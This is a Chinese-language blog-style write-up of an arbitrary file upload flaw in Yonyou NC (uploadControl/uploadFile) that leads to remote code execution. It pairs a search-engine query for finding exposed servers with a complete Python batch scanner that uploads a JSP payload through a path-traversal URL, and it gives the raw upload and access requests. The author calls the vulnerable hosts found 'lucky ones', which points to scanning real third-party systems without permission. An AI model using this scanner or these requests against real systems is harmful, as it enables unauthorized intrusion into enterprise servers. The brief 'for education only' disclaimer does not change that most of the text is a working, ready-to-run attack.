声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
用友NC(UFIDA NC)是用友软件公司推出的一款企业级管理软件,主要用于帮助企业实现财务管理、供应链管理、生产管理、项目管理、人力资源管理等业务的集成管理。用友NC采用模块化设计,可以根据企业的实际需求进行灵活配置和扩展,以满足不同行业和企业的管理需求。其**
uploadControl/uploadFile
接**口存在任意文件上传漏洞,一旦恶意文件被上传并存储在服务器上,攻击者便可以通过访问这些文件来执行恶意代码,从而实现对服务器的控制。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:web.title=="YONYOU NC"
2.使用poc批量扫描
import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning
# 设置颜色代码用于控制台输出
RED = '\033[91m'
RESET = '\033[0m'
# 忽略不安全的SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# 随机生成字符串函数,长度为n
def rand_base(n):
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
# 检查目标URL是否具有特定的RCE(远程代码执行)漏洞
def check_vulnerability(url):
filename = rand_base(6) # 生成随机文件名
upload_url = url.rstrip('/') + '/mp/initcfg/%2e%2e/uploadControl/uploadFile' # 构造上传URL
upload_headers = {
# 构造上传请求头
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundarygcflwtei',
'Connection': 'close'
}
# 构造上传数据体
upload_data = (
'------WebKitFormBoundarygcflwtei\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename}.jsp"\r\n'
'Content-Type: image/jpeg\r\n\r\n'
'<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n'
'------WebKitFormBoundarygcflwtei\r\n'
'Content-Disposition: form-data; name="submit"\r\n\r\n'
'上传\r\n'
'------WebKitFormBoundarygcflwtei--'
).encode('utf-8')
try:
# 发送上传请求
response_upload = requests.post(upload_url, headers=upload_headers, data=upload_data, verify=False, timeout=30)
# 构造访问上传文件的URL
access_url = url.rstrip('/') + f'/mp/uploadFileDir/{filename}.jsp'
access_headers = {
# 访问请求头
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
}
# 发送访问请求
response_access = requests.get(access_url, headers=access_headers, verify=False, timeout=30)
# 检查响应状态和内容以判断是否存在漏洞
if response_upload.status_code == 200 and response_access.status_code == 200 and "HelloWorldTest" in response_access.text:
print(f"{RED}URL [{url}] 存在用友 NC uploadControluploadFile 文件上传致RCE漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
# 主函数,解析命令行参数并调用检查函数
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在用友 NC uploadControluploadFile 文件上传致RCE漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
# 如果提供了单个URL,则检查该URL
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
# 如果提供了包含URL的文件,则遍历文件中的每个URL进行检查
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
cmd运行:python poc.py -f url.txt
随机寻找的幸运儿
三、漏洞复现
1.构造数据包
上传数据包:
POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Content-Length: 373
Connection: close
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file"; filename="rce.jsp"
Content-Type: image/jpeg
<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarygcflwtei--
访问上传文件数据包:
GET /mp/uploadFileDir/rce.jsp HTTP/1.1
Host:ip
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
2.数据包分析
上传数据包:
请求行:
POST /mp/initcfg/../uploadControl/uploadFile HTTP/1.1
,表示这是一个POST请求,目标URL是/mp/initcfg/../uploadControl/uploadFile
,使用的HTTP协议版本是1.1。请求体:包含了要上传的文件和其他表单数据。
------WebKitFormBoundarygcflwtei
:分隔符边界,用于分隔不同的表单字段。Content-Disposition: form-data; name="file"; filename="rce.jsp"
:表示这是一个名为"file"的表单字段,文件名为"rce.jsp"。Content-Type: image/jpeg
:指定文件的内容类型为JPEG图像。<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
:这是一段恶意JSP代码,用于输出"HelloWorldTest"并删除服务器上的某个文件。------WebKitFormBoundarygcflwtei
:分隔符边界,用于分隔不同的表单字段。Content-Disposition: form-data; name="submit"
:表示这是一个名为"submit"的表单字段。上传
:这是提交按钮的文本。------WebKitFormBoundarygcflwtei--
:结束分隔符边界。
访问上传文件数据包:
请求行:
GET /mp/uploadFileDir/rce.jsp HTTP/1.1
,表示这是一个GET请求,目标URL是/mp/uploadFileDir/rce.jsp
,使用的HTTP协议版本是1.1。请求头:包含了一些关于请求的信息,如主机名、用户代理等。
Host: ip
:指定了请求的目标服务器的IP地址。User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
:表示发起请求的客户端是一个使用Chrome浏览器的用户代理。
3.结束跑路
使用yakit Web Fuzzer构造数据包发送,上传文件。
使用yakit Web Fuzzer构造数据包发送,访问上传文件。
每篇一言:为你明灯三千,为你花开满城,为你所向披靡。
版权归原作者 Cityミ slaves 所有, 如有侵权,请联系我们删除。